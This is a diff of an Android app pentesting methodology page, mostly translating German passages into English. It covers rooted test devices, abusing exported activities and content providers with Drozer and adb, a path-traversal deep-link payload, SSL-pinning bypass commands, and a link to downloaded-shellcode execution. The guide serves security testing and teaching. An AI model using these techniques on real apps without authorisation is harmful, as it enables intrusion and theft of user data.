-Mit diesem Wissen wird **mariana-trench** den Code überprüfen und mögliche Schwachstellen finden.
+With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
 
 ### Secrets leaked
 
@@ -216,14 +216,19 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
 bypass-biometric-authentication-android.md
 {{#endref}}
 
-### Andere interessante Funktionen
+### Other interesting functions
 
 - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
 - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
 - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
 - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
+- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
 
-### **Weitere Tricks**
+{{#ref}}
+in-memory-jni-shellcode-execution.md
+{{#endref}}
+
+### **Other tricks**
 
 
 {{#ref}}
@@ -236,171 +241,170 @@ content-protocol.md
 
 ## Dynamische Analyse
 
-> Zuerst brauchst du eine Umgebung, in der du die Anwendung und alle benötigten Komponenten installieren kannst (Burp CA cert, Drozer und Frida hauptsächlich). Daher wird ein rooted device (emuliert oder nicht) dringend empfohlen.
+> Zunächst brauchst du eine Umgebung, in der du die Anwendung und alle benötigten Komponenten (Burp CA cert, Drozer und Frida hauptsächlich) installieren kannst. Daher wird ein rooted device (emuliert oder nicht) dringend empfohlen.
 
 ### Online Dynamic analysis
 
-Du kannst ein **kostenloses Konto** bei: [https://appetize.io/](https://appetize.io/) erstellen. Diese Plattform erlaubt dir, **APKs hochzuladen** und **auszuführen**, sodass sie nützlich ist, um zu sehen, wie sich ein APK verhält.
+You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
 
-Du kannst sogar **die Logs deiner Anwendung im Web sehen** und dich per **adb** verbinden.
+You can even **see the logs of your application** in the web and connect through **adb**.
 
 ![](<../../images/image (831).png>)
 
-Dank der ADB-Verbindung kannst du **Drozer** und **Frida** in den Emulatoren verwenden.
+Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
 
-### Lokale dynamische Analyse
+### Local Dynamic Analysis
 
-#### Verwendung eines Emulators
+#### Using an emulator
 
-- [**Android Studio**](https://developer.android.com/studio) (Du kannst **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**Support für ARM-Bibliotheken** haben die neuesten x86-Versionen ohne die Notwendigkeit eines langsamen ARM-Emulators).
-- Lerne, es auf dieser Seite einzurichten:
+- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
+- Learn to set it up in this page:
 
 
 {{#ref}}
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, du musst ein Konto erstellen. _Es wird empfohlen, die Version **MIT** _**VirtualBox** herunterzuladen, um potenzielle Fehler zu vermeiden._)
-- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch Frida oder Drozer nicht).
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
+- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
 
 > [!TIP]
-> Wenn du einen neuen Emulator auf einer beliebigen Plattform erstellst, denke daran, dass je größer der Bildschirm ist, desto langsamer der Emulator läuft. Wähle daher nach Möglichkeit kleine Bildschirme.
+> Beim Erstellen eines neuen Emulators auf einer beliebigen Plattform gilt: Je größer der Bildschirm, desto langsamer läuft der Emulator. Wähle daher, wenn möglich, kleine Bildschirme.
 
-Um **google services** (wie AppStore) in Genymotion zu installieren, musst du auf den rot markierten Button im folgenden Bild klicken:
+To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
 
 ![](<../../images/image (277).png>)
 
-Beachte außerdem, dass du in der **Konfiguration der Android VM in Genymotion** den **Bridge Network mode** wählen kannst (das ist nützlich, wenn du von einer anderen VM mit den Tools auf die Android-VM zugreifst).
+Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
 
-#### Verwende ein physisches Gerät
+#### Use a physical device
 
-Du musst die **debugging** Optionen aktivieren und es ist gut, wenn du es **rooten** kannst:
+You need to activate the **debugging** options and it will be cool if you can **root** it:
 
 1. **Settings**.
-2. (Ab Android 8.0) Wähle **System**.
-3. Wähle **About phone**.
-4. Drücke **Build number** 7 Mal.
-5. Gehe zurück und du findest die **Developer options**.
+2. (FromAndroid 8.0) Select **System**.
+3. Select **About phone**.
+4. Press **Build number** 7 times.
+5. Go back and you will find the **Developer options**.
 
-> Sobald du die Anwendung installiert hast, solltest du sie zuerst ausprobieren und untersuchen, was sie tut, wie sie funktioniert, und dich damit vertraut machen.\
-> Ich empfehle, **diese initiale dynamische Analyse mit MobSF dynamic analysis + pidcat** durchzuführen, sodass wir **lernen, wie die Anwendung funktioniert**, während MobSF viele **interessante** **Daten** erfasst, die du später überprüfen kannst.
+> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
+> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
 
-Magisk/Zygisk Quick Notes (empfohlen auf Pixel-Geräten)
-- Patch das boot.img mit der Magisk-App und flash es via fastboot, um systemless root zu erhalten
-- Aktiviere Zygisk + DenyList zum Root-Hiding; erwäge LSPosed/Shamiko, wenn stärkeres Hiding notwendig ist
-- Bewahre das originale boot.img, um von OTA-Updates wiederherstellen zu können; erneut patchen nach jedem OTA
-- Für Screen-Mirroring nutze scrcpy auf dem Host
+Magisk/Zygisk quick notes (recommended on Pixel devices)
+- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
+- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
+- Keep original boot.img to recover from OTA updates; re-patch after each OTA
+- For screen mirroring, use scrcpy on the host
 
 
 
-### Unbeabsichtigte Datenweitergabe
+### Unintended Data Leakage
 
 **Logging**
 
-Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich preiszugeben, da dies zu sensiblen Daten leaks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungs-Logs zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
+Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
 
 > [!WARNING]
-> Beachte, dass seit **neuer als Android 4.0** **Anwendungen nur noch auf ihre eigenen Logs zugreifen können**. Anwendungen können also nicht auf die Logs anderer Apps zugreifen.\
-> Trotzdem wird empfohlen, **keine sensiblen Informationen zu loggen**.
+> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
+> Anyway, it's still recommended to **not log sensitive information**.
 
 **Copy/Paste Buffer Caching**
 
-Das **clipboard-basierte** Framework von Android ermöglicht Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **access** können und dadurch sensible Daten exponieren könnten. Es ist wichtig, Copy/Paste-Funktionen für sensible Bereiche einer Anwendung (z. B. Kreditkartendaten) zu **disable**, um Daten leaks zu verhindern.
+Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
 
 **Crash Logs**
 
-Wenn eine Anwendung **crasht** und **Logs speichert**, können diese Logs Angreifern helfen, insbesondere wenn die Anwendung nicht reverse-engineered werden kann. Um dieses Risiko zu minimieren, vermeide Logging bei Crashes, und falls Logs über das Netzwerk gesendet werden müssen, stelle sicher, dass sie über einen SSL-Kanal übertragen werden.
+If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
 
-Als pentester, **versuche, dir diese Logs anzusehen**.
+As pentester, **try to take a look to these logs**.
 
 **Analytics Data Sent To 3rd Parties**
 
-Anwendungen integrieren oft Dienste wie Google Adsense, die unbeabsichtigt **sensitive data leak** können, wenn Entwickler sie falsch implementieren. Um mögliche Datenleaks zu identifizieren, ist es ratsam, den Traffic der Anwendung zu intercepten und zu überprüfen, ob sensible Informationen an Drittanbieter gesendet werden.
+Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
 
 ### SQLite DBs
 
-Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Untersuche während des pentests die **erstellten Datenbanken**, die Namen der **Tables** und **Columns** sowie alle gespeicherten **Daten**, da du dort **sensitive information** finden könntest (was eine Schwachstelle wäre).\
-Datenbanken sollten sich in `/data/data/the.package.name/databases` befinden, z. B. `/data/data/com.mwr.example.sieve/databases`
+Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
+Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
 
-Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, du aber das **Passwort** innerhalb der Anwendung **findest**, ist das dennoch eine **Schwachstelle**.
+If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
 
-Zähle die Tabellen mit `.tables` auf und die Spalten der Tabellen mit `.schema <table_name>`
+Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
 
 ### Drozer (Exploit Activities, Content Providers and Services)
 
 From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
 Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
 
-### Ausnutzen exportierter Activities
+### Exploiting exported Activities
 
 [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Denke auch daran, dass der Code einer Activity in der **`onCreate`**-Methode beginnt.
+Also remember that the code of an activity starts in the **`onCreate`** method.
 
 **Authorisation bypass**
 
-Wenn eine Activity exported ist, kannst du ihren Screen von einer externen App aus aufrufen. Daher, wenn eine Activity mit **sensiblen Informationen** **exported** ist, könntest du die **authentication**-Mechanismen **bypassen**, um darauf zuzugreifen.
+When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
 
 [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
 
-Du kannst auch eine exportierte Activity von adb starten:
+You can also start an exported activity from adb:
 
 - PackageName is com.example.demo
 - Exported ActivityName is com.example.test.MainActivity
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
-**HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Activity als bösartig erkennen, aber aufgrund von [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) scheint dies offenbar nur auf alten Versionen (API-Versionen < 21) gefährlich zu sein.
+**HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Activity als bösartig erkennen, aber aufgrund [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) scheint dies offensichtlich nur auf alten Versionen (API versions < 21) gefährlich zu sein.
 
 > [!TIP]
-> Beachte, dass ein authorisation bypass nicht immer eine vulnerability ist; das hängt davon ab, wie der bypass funktioniert und welche Informationen offengelegt werden.
+> Beachte, dass ein Authorisation Bypass nicht immer eine Schwachstelle ist; es hängt davon ab, wie der Bypass funktioniert und welche Informationen offengelegt werden.
 
-**Offenlegung sensibler Informationen**
+**Sensitive information leakage**
 
-**Activities können auch Ergebnisse zurückgeben**. Wenn es dir gelingt, eine exportierte und ungeschützte Activity zu finden, die die Methode **`setResult`** aufruft und **sensible Informationen zurückgibt**, liegt eine Offenlegung sensibler Informationen vor.
+Aktivitäten können auch Ergebnisse zurückgeben. Wenn es dir gelingt, eine exportierte und ungeschützte Activity zu finden, die die Methode **`setResult`** aufruft und **sensible Informationen zurückgibt**, liegt eine sensitive information leakage vor.
 
 #### Tapjacking
 
-Wenn Tapjacking nicht verhindert wird, könntest du die exportierte Activity missbrauchen, um den Benutzer dazu zu bringen, unerwartete Aktionen auszuführen.\
-[**Was Tapjacking ist, folge dem Link**](#tapjacking)
+Wenn Tapjacking nicht verhindert wird, könntest du die exportierte Activity missbrauchen, um den **Benutzer unerwartete Aktionen durchführen zu lassen**. Weitere Informationen zu [**Tapjacking**](#tapjacking).
 
-### Exploiting Content Providers - Zugriff auf und Manipulation sensibler Informationen
+### Exploiting Content Providers - Accessing and manipulating sensitive information
 
-[**Lies dies, wenn du auffrischen möchtest, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
-Content providers werden grundsätzlich verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content providers hat, könntest du möglicherweise **sensible Daten extrahieren**. Es ist auch sinnvoll, mögliche **SQL injections** und **Path Traversals** zu testen, da diese verwundbar sein könnten.
+[**Lies das, wenn du auffrischen möchtest, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
+Content Provider werden im Wesentlichen verwendet, um **Daten zu teilen**. Wenn eine App Content Provider anbietet, könntest du möglicherweise **sensible Daten extrahieren**. Es ist auch sinnvoll, mögliche **SQL injections** und **Path Traversals** zu testen, da diese verwundbar sein könnten.
 
-[**Lerne, wie man Content Providers mit Drozer ausnutzt.**](drozer-tutorial/index.html#content-providers)
+[**Erfahre, wie man Content Providers mit Drozer ausnutzt.**](drozer-tutorial/index.html#content-providers)
 
 ### **Exploiting Services**
 
-[**Lies dies, wenn du auffrischen möchtest, was ein Service ist.**](android-applications-basics.md#services)\
-Beachte, dass die Aktionen eines Service in der Methode `onStartCommand` beginnen.
+[**Lies das, wenn du auffrischen möchtest, was ein Service ist.**](android-applications-basics.md#services)\
+Denke daran, dass die Aktionen eines Service in der Methode `onStartCommand` beginnen.
 
-Ein Service ist im Grunde etwas, das **Daten empfangen**, **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung also Services exportiert, solltest du den **Code** prüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren und Authentifizierungsmaßnahmen zu umgehen...\
+Ein Service ist im Grunde etwas, das **Daten empfangen kann**, diese **verarbeiten** und (oder nicht) eine Antwort **zurückgibt**. Wenn eine Anwendung also Services exportiert, solltest du den **Code** prüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
 [**Lerne, wie man Services mit Drozer ausnutzt.**](drozer-tutorial/index.html#services)
 
 ### **Exploiting Broadcast Receivers**
 
-[**Lies dies, wenn du auffrischen möchtest, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\
-Beachte, dass die Aktionen eines Broadcast Receiver in der Methode `onReceive` beginnen.
+[**Lies das, wenn du auffrischen möchtest, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\
+Denke daran, dass die Aktionen eines Broadcast Receivers in der Methode `onReceive` beginnen.
 
-Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er verwundbar sein.\
+Ein Broadcast Receiver wartet auf eine bestimmte Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er verwundbar sein.\
 [**Lerne, wie man Broadcast Receivers mit Drozer ausnutzt.**](#exploiting-broadcast-receivers)
 
 ### **Exploiting Schemes / Deep links**
 
-Du kannst Deep links manuell suchen, mit Tools wie MobSF oder Skripten wie [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
+Du kannst manuell nach Deep Links suchen, Tools wie MobSF oder Skripte wie [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
 Du kannst ein deklariertes **scheme** mit **adb** oder einem **Browser** öffnen:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Beachte, dass du den **Paketnamen weglassen** kannst und das Mobilgerät automatisch die App aufruft, die diesen Link öffnen sollte._
+_Beachte, dass du **den Paketnamen weglassen kannst** und das Mobilgerät automatisch die App aufruft, die diesen Link öffnen sollte._
 ```html
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
 <!-- fallback in your url you could try the intent url -->
 <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
 ```
-**Code executed**
+**Ausgeführter Code**
 
 Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Activity, die vom deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
 
@@ -408,47 +412,47 @@ Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Activity, d
 
 **Sensitive info**
 
-Jedes Mal, wenn du einen deep link findest, überprüfe, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, denn jede andere Anwendung könnte **den deep link nachahmen und diese Daten stehlen!**
+Jedes Mal, wenn du einen deep link findest, prüfe, dass er **keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, denn jede andere Anwendung könnte den deep link **imitieren und diese Daten stehlen!**
 
 **Parameters in path**
 
-Du **musst auch prüfen, ob ein deep link einen Parameter innerhalb des Pfads** der URL verwendet, z. B.: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du einen Path Traversal erzwingen, indem du so etwas aufrufst: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
-Beachte, dass, wenn du die korrekten Endpoints in der Anwendung findest, du möglicherweise einen **Open Redirect** auslösen kannst (wenn ein Teil des Pfads als Domainname verwendet wird), eine **account takeover** (wenn du Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpoint die richtige Methode verwendet) und jede andere Vulnerability. Mehr [info about this here](http://dphoeniixx.com/2020/12/13-2/).
+Du **musst auch prüfen, ob ein deep link einen Parameter im Pfad** der URL verwendet, z. B.: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Path Traversal erzwingen, indem du so zugreifst: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
+Beachte, dass du, wenn du die korrekten Endpunkte in der Anwendung findest, möglicherweise eine **Open Redirect** (wenn ein Teil des Pfads als Domain genutzt wird), **account takeover** (wenn du Benutzerdaten ohne CSRF token ändern kannst und der verwundbare Endpoint die richtige Methode verwendet) und jede andere Schwachstelle auslösen kannst. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
 
 **More examples**
 
 Ein [interessanter bug bounty report](https://hackerone.com/reports/855618) über Links (_/.well-known/assetlinks.json_).
 
-### Transport Layer Inspection and Verification Failures
+### Transport Layer-Inspektion und Verifikationsfehler
 
-- **Certificates are not always inspected properly** von Android-Anwendungen. Es ist üblich, dass diese Anwendungen Warnungen übersehen und self-signed certificates akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückfallen.
-- **Negotiations during the SSL/TLS handshake are sometimes weak**, es werden unsichere Cipher Suites verwendet. Diese Schwäche macht die Verbindung anfällig für man-in-the-middle (MITM) Angriffe, wodurch Angreifer die Daten entschlüsseln können.
-- Leakage of private information ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, dann aber für andere Transaktionen über nicht-sichere Kanäle kommunizieren. Dieser Ansatz schützt sensitive Daten wie Session-Cookies oder Nutzerdaten nicht vor Abfangen durch böswillige Akteure.
+- **Zertifikate werden nicht immer korrekt geprüft** von Android-Anwendungen. Es ist üblich, dass diese Anwendungen Warnungen übersehen und self-signed certificates akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückfallen.
+- **Die Aushandlungen beim SSL/TLS-Handshake sind manchmal schwach** und verwenden unsichere cipher suites. Diese Schwachstelle macht die Verbindung anfällig für Man-in-the-middle (MITM)-Angriffe, die es Angreifern erlauben, die Daten zu entschlüsseln.
+- **Leakage von privaten Informationen** ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, dann aber für andere Transaktionen über nicht-gesicherte Kanäle kommunizieren. Dieser Ansatz schützt sensible Daten, wie session cookies oder Benutzerdetails, nicht vor Abfangversuchen durch böswillige Akteure.
 
 #### Certificate Verification
 
-Wir konzentrieren uns auf die **Certificate Verification**. Die Integrität des Server-Zertifikats muss überprüft werden, um die Sicherheit zu erhöhen. Das ist entscheidend, denn unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle können erhebliche Risiken darstellen. Für detaillierte Schritte zur Überprüfung von Server-Zertifikaten und zur Behebung von Schwachstellen bietet [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitung.
+Wir konzentrieren uns auf **certificate verification**. Die Integrität des Serverzertifikats muss verifiziert werden, um die Sicherheit zu erhöhen. Das ist entscheidend, weil unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle erhebliche Risiken darstellen können. Für detaillierte Schritte zur Verifizierung von Serverzertifikaten und zur Behebung von Schwachstellen bietet [**diese Ressource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitungen.
 
 #### SSL Pinning
 
-SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Server-Zertifikat gegen eine bekannte Kopie prüft, die innerhalb der Anwendung gespeichert ist. Diese Methode ist essentiell, um MITM-Angriffe zu verhindern. Die Implementierung von SSL Pinning wird dringend empfohlen für Anwendungen, die mit sensiblen Informationen arbeiten.
+SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat mit einer bekannten Kopie vergleicht, die innerhalb der Anwendung gespeichert ist. Diese Methode ist essenziell, um MITM attacks zu verhindern. Die Implementierung von SSL Pinning wird dringend für Anwendungen empfohlen, die mit sensiblen Informationen umgehen.
 
 #### Traffic Inspection
 
-Um HTTP-Traffic zu inspizieren, ist es notwendig, **das Zertifikat des Proxy-Tools** (z. B. Burp) zu installieren. Ohne die Installation dieses Zertifikats ist verschlüsselter Traffic möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Um HTTP-Traffic zu inspizieren, ist es notwendig, das Zertifikat des Proxy-Tools zu **installieren** (z. B. Burp). Ohne dieses installierte Zertifikat ist verschlüsselter Traffic möglicherweise nicht über den Proxy sichtbar. Eine Anleitung zum Installieren eines eigenen CA-Zertifikats findest du [**hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Anwendungen, die auf **API Level 24 und höher** abzielen, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend, um verschlüsselten Traffic zu inspizieren. Anweisungen zur Änderung der Network Security Config findest du in diesem Tutorial: [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
+Anwendungen mit Ziel-API-Level **24 und höher** erfordern Änderungen an der Network Security Config, damit das CA-Zertifikat des Proxys akzeptiert wird. Dieser Schritt ist entscheidend, um verschlüsselten Traffic zu inspizieren. Anweisungen zum Ändern der Network Security Config findest du in [**diesem Tutorial**](make-apk-accept-ca-certificate.md).
 
-Wenn **Flutter** verwendet wird, musst du den Anweisungen auf [**this page**](flutter.md) folgen. Das liegt daran, dass das bloße Hinzufügen des Zertifikats zum Store nicht ausreicht, da Flutter seine eigene Liste gültiger CAs hat.
+Wenn **Flutter** verwendet wird, musst du den Anweisungen auf [**dieser Seite**](flutter.md) folgen. Nur das Hinzufügen des Zertifikats zum Store reicht nicht aus, da Flutter eine eigene Liste gültiger CAs verwendet.
 
 #### Static detection of SSL/TLS pinning
 
 Bevor du Runtime-Bypässe versuchst, mappe schnell, wo Pinning im APK erzwungen wird. Statische Erkennung hilft dir, Hooks/Patches zu planen und dich auf die richtigen Codepfade zu konzentrieren.
 
 Tool: SSLPinDetect
-- Open-source static-analysis utility, die das APK nach Smali dekompiliert (via apktool) und nach kuratierten Regex-Patterns für SSL/TLS pinning Implementierungen scannt.
+- Open-source static-analysis utility, das das APK zu Smali dekompiliert (via apktool) und nach kuratierten Regex-Patterns von SSL/TLS pinning Implementierungen scannt.
 - Meldet exakten Dateipfad, Zeilennummer und einen Codeausschnitt für jeden Treffer.
-- Deckt gängige Frameworks und Custom-Code-Pfade ab: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init mit custom TrustManagers/KeyManagers und Network Security Config XML pins.
+- Deckt gängige Frameworks und custom code paths ab: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, und Network Security Config XML pins.
 
 Install
 - Prereqs: Python >= 3.8, Java on PATH, apktool
@@ -466,7 +470,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
 python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
 ```
 Beispiel-Pattern-Regeln (JSON)
-Verwende oder erweitere signatures, um proprietäre/custom pinning styles zu erkennen. Du kannst dein eigenes JSON laden und in großem Umfang scannen.
+Verwende oder erweitere signatures, um proprietäre/benutzerdefinierte pinning-Stile zu erkennen. Du kannst dein eigenes JSON laden und in großem Maßstab scannen.
 ```json
 {
 "OkHttp Certificate Pinning": [
@@ -481,44 +485,44 @@ Verwende oder erweitere signatures, um proprietäre/custom pinning styles zu erk
 }
 ```
 Notes and tips
-- Schnelles Scannen großer Apps mittels multi-threading und memory-mapped I/O; vor-kompilierte regex reduziert Overhead/False Positives.
+- Schnelles Scannen großer Apps mittels Multithreading und memory-mapped I/O; vorkompilierte Regex reduziert Overhead/False-Positives.
 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns
-- Typische Erkennungsziele für die weitere Triagierung:
-- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
-- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
-- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
-- Declarative pins in res/xml network security config and manifest references
-- Verwende die gefundenen Stellen, um Frida hooks, statische Patches oder Config-Reviews vor dem dynamischen Testing zu planen.
+- Typische Erkennungsziele für die weitere Triage:
+- OkHttp: Verwendung von CertificatePinner, setCertificatePinner, okhttp3/okhttp Paketreferenzen
+- Custom TrustManagers: javax.net.ssl.X509TrustManager, Overrides von checkServerTrusted
+- Custom SSL contexts: SSLContext.getInstance + SSLContext.init mit eigenen Managern
+- Deklarative Pins in res/xml network security config und Manifest-Referenzen
+- Nutze die gefundenen Stellen, um Frida-Hooks, statische Patches oder Konfigurationsprüfungen vor dynamischem Testing zu planen.
 
 
 
-#### SSL Pinning umgehen
+#### Umgehung von SSL Pinning
 
-Wenn SSL Pinning implementiert ist, wird das Umgehen erforderlich, um HTTPS-Traffic zu untersuchen. Für diesen Zweck stehen verschiedene Methoden zur Verfügung:
+Wenn SSL Pinning implementiert ist, muss es umgangen werden, um HTTPS-Traffic zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
 
-- Automatisch die **apk** **modifizieren**, um SSLPinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein root brauchst, um SSL Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
-- Du könntest **Frida** (weiter unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier ist eine Anleitung für Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
-- Du kannst auch versuchen, **SSL Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
-- Du kannst auch versuchen, **SSL Pinning automatisch zu umgehen** mit **MobSF dynamic analysis** (weiter unten erklärt)
-- Falls du glaubst, dass es noch Traffic gibt, den du nicht erfasst, kannst du versuchen, den Traffic mittels iptables an burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
